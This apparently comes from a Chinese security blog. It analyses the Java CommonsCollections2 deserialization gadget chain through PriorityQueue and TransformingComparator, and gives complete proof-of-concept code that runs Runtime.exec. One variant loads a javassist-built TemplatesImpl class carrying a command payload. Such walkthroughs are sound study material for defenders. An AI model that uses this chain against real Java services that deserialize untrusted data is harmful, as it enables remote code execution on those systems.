既 CC 1 分析后,了解了 Transformer 的基础知识后,后面的链子就可以快些分析了,CC 2 的利用是基于 commons-collections 4,因此我们引入依赖
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
我们以 ChainedTransformer 作为开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; public class Main { public static void main (String[] args) throws Exception{ String cmd = "calc" ; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] { cmd }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(null ); } }
同样的思路,我们需要去找谁会触发 transform 方法,在 idea 比较快捷的方式是 Ctrl + Alt + H Find Usages
我们需要聚焦于 TransformingComparator.compare
接着对 compare 方法继续 Find Usages;由于 compare 是 java.util.Comparator 接口的方法,几乎所有集合框架都会用到,在层级树中,我们聚焦寻找 JDK 标准库(java.util)中的类,定位到 PriorityQueue.siftDownUsingComparator
继续向上追溯发现:siftDownUsingComparator -> siftDown -> heapify -> readObject
显然这里就是反序列化的入口了
在 Java 中的核心作用是维护一个动态排序的集合,根据元素的“优先级”来决定出队顺序
开发者经常需要将整个数据结构保存到磁盘或通过网络传输。如果 PriorityQueue 不支持反序列化,开发者就必须手动处理其内部堆状态的重建;
为了保证反序列化后的对象依然满足“堆”的性质,PriorityQueue 必须重写 readObject(),重新进行一次“堆化”操作,以确保即使底层的数组顺序在不同环境下有细微差异,其优先级逻辑依然成立;
这个为了恢复数据一致性而自发进行的“排序”动作,给了攻击者触发 transform 的机会
接下来我们需要一步步看看如何通过代码细节将整个链子打通
跟踪 heapify(),其逻辑是从最后一个非叶子节点开始,向上遍历直到根节点,对每个节点执行 siftDown 操作;事实上我们并不关心它,触发条件需要 size >= 2
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
跟踪 siftDown(),需要满足 comparator 属性不为空
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
继续跳转
这里会调用 compare 方法,进行优先级的比较和排序,由于 TransformingComparator 实现了 Comparator 接口,便触发了具体的 compare 方法
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
因此我们需要构造一个包含 chainedTransformer 的 TransformingComparator;以及 size = 2 的队列
1 2 3 4 5 6 7 8 9 TransformingComparator comparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue, comparator);
如果在 new PriorityQueue(2, comparator) 时直接传入已经构造好的恶意 comparator,那么在执行 queue.add(2) 时,PriorityQueue 内部会立刻触发一次 siftUp 排序,调用 comparator.compare(),Payload 会被提前触发
正确的做法是强行通过反射后置注入,把原本为 null 的 comparator 替换成了包含 chainedTransformer 的 TransformingComparator
执行后会发现弹了两次计算器,这是因为 compare() 触发了两次 transform 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.example; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.Transformer; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Main { public static void main (String[] args) throws Exception{ String cmd = "calc" ; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] { cmd }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator comparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue, comparator); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(queue); oos.flush(); oos.close(); byte [] bytes = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream in = new ObjectInputStream (bais); in.readObject(); in.close(); } }
配合 TemplatesImpl 加载字节码
TemplatesImpl 知识点这里就不展了,在配合 CC 2 时需要注意:执行 queue.add(1) 和 queue.add(2) 时,Integer 自身实现了 Comparable 接口,此时还没有用反射替换 comparator,队列成功初始化
这里可以配合 ConstantTransformer 无视 1 输入;这里理解就好,大家在处理时的细节各有不同,我也看到通过反射 PriorityQueue.class.getDeclaredField("queue") 直接修改底层数组为 templates 对象
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.Transformer; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Main { public static void main (String[] args) throws Exception{ byte [] byteCode = Evil.makeBytes(); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Qu43ter" ); setFieldValue(templates, "_bytecodes" , new byte [][]{byteCode}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer [] { new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , new Class [0 ], new Object [0 ]) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator comparator = new TransformingComparator (chainedTransformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue, comparator); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(queue); oos.flush(); oos.close(); byte [] bytes = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream in = new ObjectInputStream (bais); in.readObject(); in.close(); } static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true ); declaredField.set(obj, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example; import javassist.ClassPool; import javassist.CtClass; public class Evil { public static byte [] makeBytes() throws Exception { String cmd = "Runtime.getRuntime().exec(\"calc.exe\");" ; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("org.example.Evil" ); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); ctClass.makeClassInitializer().insertBefore(cmd); return ctClass.toBytecode(); } }